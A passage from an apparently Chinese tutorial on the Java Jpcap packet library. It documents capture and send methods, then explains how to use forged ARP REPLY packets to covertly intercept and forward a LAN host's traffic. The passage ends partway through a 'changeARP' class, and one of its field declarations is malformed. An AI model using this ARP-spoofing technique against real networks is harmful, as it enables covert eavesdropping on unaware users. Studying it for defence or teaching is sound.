            <div><code><strong><span>processPacket</span> </strong></code><code><span>(int&nbsp;count, PacketReceiver handler)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>跟</span> <code><strong><span>loopPacket</span> </strong></code><code><span>()</span> </code><code><span>功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。</span> </code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;int</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>dispatchPacket</span> </strong></code><code><span>(int&nbsp;count, PacketReceiver&nbsp;handler)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span> <span>跟</span> <code><strong><span>processPacket</span> </strong></code><code><span>()</span> </code><code><span>功能一样，区别是这个方法可以处于&#8220;non-blocking&#8221;模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。</span> </code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>setFilter</span> </strong></code><code><span>(java.lang.String&nbsp;condition, boolean&nbsp;optimize)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.</span> <code><span>condition</span> </code><code><span>：</span> </code><span>设定要提取的包的关键字。</span> </div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><code><span>Optimize</span> </code><code><span>：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。</span> </code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>setNonBlockingMode</span> </strong></code><code><span>(boolean&nbsp;nonblocking)</span> </code></div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>如果值为&#8220;</span> <span>true</span> <span>&#8221;，那么设定为&#8220;</span> <span>non-blocking</span> <span>&#8221;模式。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 28.48%; PADDING-TOP: 2.25pt" vAlign=top width="28%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 71.52%; PADDING-TOP: 2.25pt" width="71%">
            <div><code><strong><span>breakLoop</span> </strong></code>()</div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>当调用</span> <span>processPacket()</span> <span>和</span> <span>loopPacket()</span> <span>后，再调用这个方法可以强制让</span> <span>processPacket()</span> <span>和</span> <span>loopPacket()</span> <span>停止。</span> </div>
            </td>
        </tr>
    </tbody>
</table>
<div><strong></strong>&nbsp;</div>
<div><strong><span>3．</span> </strong><strong>JpcapSender</strong> </div>
<div>该类专门用于控制数据包的发送。</div>
<div>&nbsp;</div>
<table style="WIDTH: 100%" cellSpacing=0 cellPadding=0 width="100%" border=1>
    <tbody>
        <tr>
            <td style="BORDER-RIGHT: #aca899 1pt inset; PADDING-RIGHT: 2.25pt; BORDER-TOP: 1pt inset; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; BORDER-LEFT: 1pt inset; WIDTH: 100%; PADDING-TOP: 2.25pt; BORDER-BOTTOM: 1pt inset" vAlign=top width="100%" colSpan=2>
            <div><code><strong><span>方法成员</span> </strong></code></div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 19.7%; PADDING-TOP: 2.25pt" vAlign=top width="19%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
            <div><code><strong><span>close</span> </strong></code><code><span>()</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>强制关闭这个连接。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 19.7%; PADDING-TOP: 2.25pt" vAlign=top width="19%">
            <div align=right><code><span>static&nbsp;JpcapSender</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
            <div><code><strong><span>openRawSocket</span> </strong></code><code><span>()</span> </code></div>
            <div><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>这个方法返回的</span> <span>JpcapSender</span> <span>实例发送数据包时将自动填写数据链路层头部分。</span> </div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; WIDTH: 19.7%; PADDING-TOP: 2.25pt" vAlign=top width="19%">
            <div align=right><code><span>&nbsp;void</span> </code></div>
            </td>
            <td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: white; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
            <div><code><strong><span>sendPacket</span> </strong></code><code><span>(Packet packet)</span> </code><span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JpcapSender</span> <span>最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由</span> <strong><span>JpcapCaptor</span> </strong><span>的</span> <code><strong><span>getJpcapSenderInstance</span> </strong></code><code><span>()</span> </code><code><span>得到的话，需要自己设定数据链路层的头，而如果是由上面的<strong>openRawSocket</strong>()</span> </code><span>得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。</span> </div>
            </td>
        </tr>
    </tbody>
</table>
<div><strong></strong>&nbsp;</div>
<div><strong><span>4．</span> </strong><strong>Packet</strong> </div>
<div>这个是所有其它数据包类的父类。Jpcap所支持的数据包有：<br><span>ARPPacket</span><span>、</span><span>DatalinkPacket</span><span>、</span><span>EthernetPacket</span><span>、</span><span>ICMPPacket</span><span>、</span><span>IPPacket</span><span>、</span><span>TCPPacket</span><span>、</span><span>UDPPacket</span></div>
<div>&nbsp;</div>
<div><strong>三．使用JPCAP</strong> <strong>实现监听</strong> </div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>1</strong></span> <strong>．监听原理</strong> </div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>局域网监听利用的是所谓的&#8220;ARP欺骗&#8221;技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要&#8220;欺骗&#8221;路由器、&#8220;欺骗&#8221;交换机，即&#8220;ARP欺骗&#8221;技术。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>假设本机为A，监听目标为B。</div>
<div>首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。</div>
<div>接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。</div>
<div>这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。</div>
<div>&nbsp;</div>
<div align=center><span>ARP</span> <span>数据包解析</span> </div>
<div><span>单元：</span> <span>Byte</span> </div>
<table style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr style="HEIGHT: 22.1pt">
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top colSpan=3>
            <div><span>Ethernet</span> <span>头部</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top colSpan=8>
            <div><span>ARP</span> <span>数据部分</span> </div>
            </td>
        </tr>
        <tr style="HEIGHT: 22.1pt">
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>６</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>６</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>２</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>2</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>2</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>2</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>2</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>４</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>６</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>４</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 22.1pt" vAlign=top>
            <div><span>６</span> </div>
            </td>
        </tr>
        <tr style="HEIGHT: 62.45pt">
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>目标</span> <span>MAC</span> <span>地址</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>源地</span> <span>MAC</span> <span>地址</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>类型号</span> <span>0x0800:ip</span> </div>
            <div><span>0x0806:ARP</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>局域网类型</span> </div>
            <div><span>以太网</span> <span>0x0001</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>网络协议类型</span> </div>
            <div><span>IP</span> <span>网络</span> <span>0x0800</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>MAC/IP</span> <span>地址长度，恒为</span> <span>0x06/04</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>ARP</span> <span>包类型</span> </div>
            <div><span>REPLY</span> </div>
            <div><span>0x0002</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>ARP</span> <span>目标</span> <span>IP</span> <span>地址</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>ARP</span> <span>目标</span> <span>MAC </span><span>地址</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>ARP</span> <span>源</span> <span>IP</span> <span>地址</span> </div>
            </td>
            <td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: medium none; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 62.45pt" vAlign=top>
            <div><span>ARP</span> <span>源</span> <span>MAC</span> <span>地址</span> </div>
            </td>
        </tr>
    </tbody>
</table>
<div>&nbsp;</div>
<div><strong>2</strong> <strong>．用JPCAP</strong> <strong>实现监听</strong> </div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>就如上面说的，为了实现监听，我们必须做四件事：</div>
<div><span>A．</span>发送ARP包修改B的ARP缓存表；</div>
<div><span>B．</span>发送ARP包修改路由ARP缓存表；</div>
<div><span>C．</span>转发B发过来的数据包；</div>
<div><span>D．</span>转发路由发过来的数据包；</div>
<div>&nbsp;</div>
<div>下面我们给个小小的例子说明怎样实现。</div>
<div>我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。</div>
<div><span style="FONT-SIZE: 9pt">public class changeARP{</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private NetworkInterface[] devices;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>设备列表</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private NetworkInterface device;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>要使用的设备</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private JpcapCaptor jpcap;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>与设备的连接</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private JpcapSender sender;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>用于发送的实例</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private byte[] targetMAC, gateMAC;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //B</span> <span>的</span> <span>MAC</span> <span>地址，网关的</span> <span>MAC</span> <span>地址</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private byte[] String targetIp, String gateIp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //B</span> <span>的</span> <span>IP</span> <span>地址，网关的</span> <span>IP</span> <span>地址</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /**</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> <span>初始化设备</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * JpcapCaptor.getDeviceList()</span> <span>得到设备可能会有两个，其中一个必定是&#8220;</span> <span>Generic </span></div>
<div><span style="FONT-SIZE: 9pt; COLOR: blue">*<span>dialup adapter</span></span> <span>&#8221;，</span> <span>这是</span> <span>windows</span> <span>系统的虚拟网卡，并非真正的硬件设备。</span> </div>
<div><span style="FONT-SIZE: 9pt">*</span> <span>注意：在这里有一个小小的</span> <span>BUG</span> <span>，如果</span> <span>JpcapCaptor.getDeviceList()</span> <span>之前有类似</span> <span>JFrame jf=new</span> </div>
<div><span style="FONT-SIZE: 9pt">*JFame</span> <span>（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。</span> </div>
<div><span style="FONT-SIZE: 9pt">*</span> <span>虚拟网卡只有</span> <span>MAC</span> <span>地址而没有</span> <span>IP</span> <span>地址，而且如果出现虚拟网卡，那么实际网卡的</span> <span>MAC</span> <span>将分</span> </div>
<div><span style="FONT-SIZE: 9pt">*</span> <span>配给虚拟网卡，也就是说在程序中调用</span> <span>device.</span> <span>mac_address</span> <span>时得到的是</span> <span>00 00 00 00 00 00</span> <span>。</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private NetworkInterface getDevice() throws IOException {</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; devices = JpcapCaptor.getDeviceList();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>获得设备列表</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; device = devices[0];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>只有一个设备</span> </div>
<div><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span> <span>打开与设备的连接</span> </div>
